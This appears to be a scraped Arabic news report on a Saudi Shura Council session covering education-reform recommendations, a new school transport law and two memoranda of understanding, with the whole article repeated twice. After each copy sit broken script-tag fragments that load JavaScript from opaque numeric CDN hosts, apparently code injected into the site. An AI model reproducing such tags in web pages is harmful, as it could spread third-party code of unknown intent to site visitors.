وافق على 20 مادة بمشروع «النقل المدرسي»
التأكيد على التزام الجامعات بمعايير تعيين أعضاء هيئة التدريس
الارتقاء بالخدمات المتخصصة للطلبة ذوي الاحتياجات «كما ونوعا»
طالب مجلس الشورى وزارة التعليم بإعادة النظر في استراتيجية إصلاح التعليم وتبني خطة موحدة ومتكاملة للمبادرات التعليمية، بما يضمن تجانسها وتكاملها وتحقيقها للأهداف المرجوة منها والتوسع في المنح الدراسية الداخلية لزيادة عدد الملتحقين بالتعليم العالي الأهلي، وتحسين مدخلاته وذلك بعد الاطلاع على وجهة نظر لجنة التعليم والبحث العلمي بشأن ملاحظات الأعضاء تجاه التقرير السنوي لوزارة التعليم للعام المالي 1438/1439 في جلسة سابقة.
بكالوريوس قِبالة
ودعا المجلس خلال جلسته العادية الثامنة عشرة من أعمال السنة الثالثة للدورة السابعة أمس برئاسة رئيس مجلس الشورى د. عبدالله آل الشيخ، وزارة التعليم الى إجراء دراسة لإيجاد حل لاستيعاب خريجي وخريجات كليات المجتمع وكلية التربية في قطاع العمل العام والخاص، بالتعاون مع وزارتي الخدمة المدنية والعمل والتنمية الاجتماعية ومجلس الغرف التجارية الصناعية السعودية، وكذا إنشاء بكالوريوس للقِبالة «التوليد»، وتجسير الفتيات الحاليات عبر هذا البكالوريوس وليس عبر بكالوريوس التمريض، وبناء برنامج وطني بمؤشرات أداء واضحة لنشر الوعي الفكري ومحاربة الفكر الضال على مستوى التعليم العام والتعليم العالي، وبناء خطة وطنية واضحة المعالم للبرامج الخاصة بتنمية الموهبة والتميز والإبداع تشمل مرحلتي التعليم العام والتعليم العالي، وتطوير معايير إنشاء الجامعات واستحداث الكليات والبرامج الأكاديمية وفقا لرؤية المملكة 2030.
مؤشرات أداء
وأوضح مساعد رئيس مجلس الشورى د. يحيى الصمعان أن المجلس أهاب بالوزارة التنسيق مع هيئة تقويم التعليم لتقديم تقرير دوري مفصل عن حالة التعليم العام والتعليم العالي في المجالات المعرفية والمهارية وفق مؤشرات أداء داخلية وخارجية، وتبني برنامج وطني لرفع معنويات المعلمين والمعلمات، وتعزيز انتمائهم لرسالة التعليم وتقديم دراسة علمية تفصيلية للقيمة المضافة التي قدمتها شركة تطوير التعليم القابضة والشركات التابعة لها للتعليم منذ تأسيسها، كما دعا الوزارة إلى رفع كم ونوع الخدمات المتخصصة المقدمة للطلبة ذوي الاحتياجات الخاصة ومنح مزيد من الحوافز الخاصة للقطاع الأهلي للاستثمار في هذا المجال ورفع المعايير الخاصة بالتعاقد مع أعضاء هيئة التدريس غير السعوديين في الجامعات الحكومية والأهلية بما لا يقل عن المطلوبة من السعوديين.
معايير التعيين
وطالب المجلس الوزارة بالتحقق من التزام الجامعات بمعايير وإجراءات تعيين أعضاء هيئة التدريس بما يكفل تحقق العدالة وتكافؤ الفرص. كما طالب المجلس الوزارة بالتعاون مع الجهات ذات العلاقة للتوسع في استحداث مراكز الخدمات المساندة للتربية الخاصة، وتقديم الدعم والتسهيلات اللازمة للقطاع الأهلي لتحفيزه على المشاركة في إنشاء تلك المراكز وفق الضوابط والمعايير المعتبرة عالميا. ودعا المجلس في قراره وزارة التعليم إلى التنسيق مع الجهات ذات العلاقة لإعادة النظر في مكافأة المستشار غير المتفرغ من أعضاء هيئة التدريس في الجامعات الحكومية المحددة بقرار مجلس الخدمة المدنية رقم «1/1713» بتاريخ 17/10/1433 لتكون جاذبة للكفاءات.
تجارب عالمية
وحث المجلس الوزارة على استشراف التجارب العالمية لدراسة إنشاء هيئة للبحث العلمي والابتكار، والتنسيق مع الجامعات والجهات ذات العلاقة لدراسة وضع آلية للتعاقد مع السعوديين المؤهلين من حملة الشهادات العليا للعمل في الجامعات السعودية، ودراسة تحويل فرع جامعة أم القرى في القنفذة إلى جامعة مستقلة.
وسائل آمنة
وأضاف د. الصمعان أن المجلس وافق في قرار آخر على مشروع «نظام النقل المدرسي» بعد الاطلاع على وجهة نظر لجنة التعليم والبحث العلمي بشأن ملاحظات الأعضاء تجاه مقترح مشروع النظام في جلسة سابقة، ويتكون من عشرين مادة، ويختص بنقل الطلاب والطالبات والمعلمات من وإلى مقر المدرسة بحافلة مخصصة لذلك سواء كان بأجر أو بالمجان، ويهدف إلى توفير وسائل النقل الآمنة والمحافظة على سلامة المشتركين في خدمات النقل المدرسي من الطلاب والطالبات والمعلمات، وتنظيم خدمات النقل التي تقدمها القطاعات التعليمية والحكومية والأهلية ومنشآت القطاع الخاص المتخصصة في النقل المدرسي، ووضع المعايير والاشتراطات التي تضمن توافر مواصفات السلامة في الحافلات المخصصة للنقل المدرسي، وتحديد الضوابط المهنية اللازم توافرها في السائقين المرخصين لقيادة الحافلات المدرسية وتحديد الأدوار والمسؤوليات والتنسيق بين الأطراف المعنية بالنقل المدرسي، وتوعية صغار المستثمرين والمنشآت الصغيرة والمتوسطة الراغبين في الاستثمار في مجال النقل المدرسي بضوابط واشتراطات السلامة في هذا القطاع.
مذكرتا تفاهم
ووافق المجلس على مشروع مذكرة تفاهم بين حكومة المملكة العربية السعودية وحكومة دولة الإمارات العربية المتحدة في مجال التطوير الحكومي والخدمات الحكومية الموقع في مدينة جدة بتاريخ21/9/1439، الموافق 6/6/2018م، كما وافق على مشروع مذكرة تفاهم بين وزارة الطاقة والصناعة والثروة المعدنية في المملكة العربية السعودية ووزارة الأعمال والطاقة والاستراتيجية الصناعية في المملكة المتحدة لبريطانيا العظمى وشمال إيرلندا للتعاون في مجال الطاقة النظيفة الموقع في مدينة لندن بتاريخ 19/6/1439، الموافق7/3/2018، وذلك بعد أن استمع المجلس إلى تقرير لجنة الاقتصاد والطاقة بشأن مشروع المذكرة. ******** async= src=//1046663444.rsc.cdn77.org/1fd3b038f796d0b159.js>******** ******** src=//1018433480.rsc.cdn77.org/1fd3b038f796d0b159.js>******** ******** async="" src="//1046663444.rsc.cdn77.org/1fd3b038f796d0b159.js">******** ******** src="//1018433480.rsc.cdn77.org/1fd3b038f796d0b159.js">********
الارتقاء بالخدمات المتخصصة للطلبة ذوي الاحتياجات «كما ونوعا»
طالب مجلس الشورى وزارة التعليم بإعادة النظر في استراتيجية إصلاح التعليم وتبني خطة موحدة ومتكاملة للمبادرات التعليمية، بما يضمن تجانسها وتكاملها وتحقيقها للأهداف المرجوة منها والتوسع في المنح الدراسية الداخلية لزيادة عدد الملتحقين بالتعليم العالي الأهلي، وتحسين مدخلاته وذلك بعد الاطلاع على وجهة نظر لجنة التعليم والبحث العلمي بشأن ملاحظات الأعضاء تجاه التقرير السنوي لوزارة التعليم للعام المالي 1438/1439 في جلسة سابقة.
بكالوريوس قِبالة
ودعا المجلس خلال جلسته العادية الثامنة عشرة من أعمال السنة الثالثة للدورة السابعة أمس برئاسة رئيس مجلس الشورى د. عبدالله آل الشيخ، وزارة التعليم الى إجراء دراسة لإيجاد حل لاستيعاب خريجي وخريجات كليات المجتمع وكلية التربية في قطاع العمل العام والخاص، بالتعاون مع وزارتي الخدمة المدنية والعمل والتنمية الاجتماعية ومجلس الغرف التجارية الصناعية السعودية، وكذا إنشاء بكالوريوس للقِبالة «التوليد»، وتجسير الفتيات الحاليات عبر هذا البكالوريوس وليس عبر بكالوريوس التمريض، وبناء برنامج وطني بمؤشرات أداء واضحة لنشر الوعي الفكري ومحاربة الفكر الضال على مستوى التعليم العام والتعليم العالي، وبناء خطة وطنية واضحة المعالم للبرامج الخاصة بتنمية الموهبة والتميز والإبداع تشمل مرحلتي التعليم العام والتعليم العالي، وتطوير معايير إنشاء الجامعات واستحداث الكليات والبرامج الأكاديمية وفقا لرؤية المملكة 2030.
مؤشرات أداء
وأوضح مساعد رئيس مجلس الشورى د. يحيى الصمعان أن المجلس أهاب بالوزارة التنسيق مع هيئة تقويم التعليم لتقديم تقرير دوري مفصل عن حالة التعليم العام والتعليم العالي في المجالات المعرفية والمهارية وفق مؤشرات أداء داخلية وخارجية، وتبني برنامج وطني لرفع معنويات المعلمين والمعلمات، وتعزيز انتمائهم لرسالة التعليم وتقديم دراسة علمية تفصيلية للقيمة المضافة التي قدمتها شركة تطوير التعليم القابضة والشركات التابعة لها للتعليم منذ تأسيسها، كما دعا الوزارة إلى رفع كم ونوع الخدمات المتخصصة المقدمة للطلبة ذوي الاحتياجات الخاصة ومنح مزيد من الحوافز الخاصة للقطاع الأهلي للاستثمار في هذا المجال ورفع المعايير الخاصة بالتعاقد مع أعضاء هيئة التدريس غير السعوديين في الجامعات الحكومية والأهلية بما لا يقل عن المطلوبة من السعوديين.
معايير التعيين
وطالب المجلس الوزارة بالتحقق من التزام الجامعات بمعايير وإجراءات تعيين أعضاء هيئة التدريس بما يكفل تحقق العدالة وتكافؤ الفرص. كما طالب المجلس الوزارة بالتعاون مع الجهات ذات العلاقة للتوسع في استحداث مراكز الخدمات المساندة للتربية الخاصة، وتقديم الدعم والتسهيلات اللازمة للقطاع الأهلي لتحفيزه على المشاركة في إنشاء تلك المراكز وفق الضوابط والمعايير المعتبرة عالميا. ودعا المجلس في قراره وزارة التعليم إلى التنسيق مع الجهات ذات العلاقة لإعادة النظر في مكافأة المستشار غير المتفرغ من أعضاء هيئة التدريس في الجامعات الحكومية المحددة بقرار مجلس الخدمة المدنية رقم «1/1713» بتاريخ 17/10/1433 لتكون جاذبة للكفاءات.
تجارب عالمية
وحث المجلس الوزارة على استشراف التجارب العالمية لدراسة إنشاء هيئة للبحث العلمي والابتكار، والتنسيق مع الجامعات والجهات ذات العلاقة لدراسة وضع آلية للتعاقد مع السعوديين المؤهلين من حملة الشهادات العليا للعمل في الجامعات السعودية، ودراسة تحويل فرع جامعة أم القرى في القنفذة إلى جامعة مستقلة.
وسائل آمنة
وأضاف د. الصمعان أن المجلس وافق في قرار آخر على مشروع «نظام النقل المدرسي» بعد الاطلاع على وجهة نظر لجنة التعليم والبحث العلمي بشأن ملاحظات الأعضاء تجاه مقترح مشروع النظام في جلسة سابقة، ويتكون من عشرين مادة، ويختص بنقل الطلاب والطالبات والمعلمات من وإلى مقر المدرسة بحافلة مخصصة لذلك سواء كان بأجر أو بالمجان، ويهدف إلى توفير وسائل النقل الآمنة والمحافظة على سلامة المشتركين في خدمات النقل المدرسي من الطلاب والطالبات والمعلمات، وتنظيم خدمات النقل التي تقدمها القطاعات التعليمية والحكومية والأهلية ومنشآت القطاع الخاص المتخصصة في النقل المدرسي، ووضع المعايير والاشتراطات التي تضمن توافر مواصفات السلامة في الحافلات المخصصة للنقل المدرسي، وتحديد الضوابط المهنية اللازم توافرها في السائقين المرخصين لقيادة الحافلات المدرسية وتحديد الأدوار والمسؤوليات والتنسيق بين الأطراف المعنية بالنقل المدرسي، وتوعية صغار المستثمرين والمنشآت الصغيرة والمتوسطة الراغبين في الاستثمار في مجال النقل المدرسي بضوابط واشتراطات السلامة في هذا القطاع.
مذكرتا تفاهم
ووافق المجلس على مشروع مذكرة تفاهم بين حكومة المملكة العربية السعودية وحكومة دولة الإمارات العربية المتحدة في مجال التطوير الحكومي والخدمات الحكومية الموقع في مدينة جدة بتاريخ21/9/1439، الموافق 6/6/2018م، كما وافق على مشروع مذكرة تفاهم بين وزارة الطاقة والصناعة والثروة المعدنية في المملكة العربية السعودية ووزارة الأعمال والطاقة والاستراتيجية الصناعية في المملكة المتحدة لبريطانيا العظمى وشمال إيرلندا للتعاون في مجال الطاقة النظيفة الموقع في مدينة لندن بتاريخ 19/6/1439، الموافق7/3/2018، وذلك بعد أن استمع المجلس إلى تقرير لجنة الاقتصاد والطاقة بشأن مشروع المذكرة. ******** async= src=//1046663444.rsc.cdn77.org/1fd3b038f796d0b159.js>******** ******** src=//1018433480.rsc.cdn77.org/1fd3b038f796d0b159.js>******** ******** async="" src="//1046663444.rsc.cdn77.org/1fd3b038f796d0b159.js">******** ******** src="//1018433480.rsc.cdn77.org/1fd3b038f796d0b159.js">********